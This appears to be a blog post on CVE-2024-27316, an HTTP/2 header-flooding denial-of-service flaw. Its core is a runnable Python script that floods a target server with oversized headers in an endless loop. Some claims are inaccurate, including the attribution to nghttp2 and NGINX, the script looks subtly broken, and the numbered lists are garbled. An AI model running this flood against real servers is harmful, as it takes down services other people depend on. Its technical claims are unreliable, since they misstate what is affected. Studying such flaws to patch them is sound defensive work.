HTTP/2 is known for its speed and efficiency, but a vulnerability discovered this year (CVE-2024-27316) exposed a serious problem in the way the nghttp2 library handles incoming headers. If you’re running a web server or proxy using nghttp2 (and that includes a lot of services, from Apache and NGINX to Node.js-based services), you’ll want to understand this threat. In this post, I’ll explain what CVE-2024-27316 is, why it’s dangerous, and show you how an attacker could exploit it—complete with code snippets.
What is CVE-2024-27316?
The root problem is in how nghttp2 processes HTTP/2 requests. When a client sends HTTP/2 headers that exceed the server's configured limit, nghttp2 doesn’t immediately drop the connection. Instead, it *temporarily* buffers these headers so it can send back a detailed HTTP 413 (“Payload Too Large”) response. The problem? There’s nothing stopping the client from continuing to send headers—even after the limit is exceeded.
This opens the door for a denial-of-service (DoS) attack: A malicious user can keep sending excessive headers, nghttp2 keeps buffering them, and eventually, the server runs out of memory. This could crash your site or service.
The attack needs little bandwidth and no special tools.
- One attacker can knock out a powerful server by just keeping the connection open and sending headers forever.
- It affects any software using nghttp2 for HTTP/2 processing, which includes many mainstream web servers and proxies.
Let’s walk through the attack, step by step
1. Attacker opens one or more HTTP/2 connections to the server.
Attacker sends headers that exceed the configured limit on the server.
3. Instead of cutting the connection, nghttp2 tries to buffer the headers to send back a friendly error.
Proof-of-Concept Code
Here’s a simple Python script using hyper-h2 to demonstrate the exploit. You’ll need to install h2 and hyper via pip.
> WARNING: Only test this on servers you own and are allowed to test!
import socket
import ssl
import h2.connection
def flood_headers(target_host, target_port=443):
# Create a TLS socket connection
sock = socket.create_connection((target_host, target_port))
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=target_host)
# Initialize HTTP/2
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
headers = [
(':method', 'GET'),
(':authority', target_host),
(':scheme', 'https'),
(':path', '/')
]
# Send initial headers frame
conn.send_headers(1, headers)
sock.sendall(conn.data_to_send())
# Now, keep flooding with giant headers
evil_header = ('evil-header', 'X'*16384)
while True:
# Every iteration adds an oversized header
conn.send_headers(1, [evil_header], end_stream=False)
sock.sendall(conn.data_to_send())
if __name__ == '__main__':
flood_headers('your-nghttp2-server.com')
What this does: After starting a normal HTTP/2 session, it repeatedly sends large "evil-header" fields. The server will try to buffer them to create a 413 response, but we never stop. This eats up RAM fast.
Who Is Affected?
The bug primarily impacts any servers or clients built on top of nghttp2 prior to the fix. Key software affected includes:
- nghttp2 server itself
- NGINX and Apache when built with nghttp2
- libcurl/libnghttp2 usage
Check your versions! The fix was released in nghttp2 1.60. (release notes here).
Update nghttp2: Make sure you’re running version 1.60. or higher.
2. Restart Your Web Server: After updating, restart services that depend on HTTP/2.
3. Tune your configuration: If possible, limit the number of concurrent connections and use a reverse proxy with request rate limiting.
nghttp2 Security Advisory:
https://github.com/nghttp2/nghttp2/security/advisories/GHSA-pjhp-326g-c9g9
CVE Record:
https://nvd.nist.gov/vuln/detail/CVE-2024-27316
Patch Release:
In Conclusion
CVE-2024-27316 shows that even well-intentioned error handling (like giving detailed 413 responses!) can backfire and expose your infrastructure to easy denial-of-service attacks. If you’re running any service that processes HTTP/2 with nghttp2, get it patched ASAP! This is an attack that takes very little skill, and scripts are already making the rounds.
Stay safe, keep your libraries up to date, and don’t forget the importance of input limits on all layers of your stack.
Timeline
Published on: 04/04/2024 20:15:08 UTC
Last modified on: 06/06/2024 19:29:53 UTC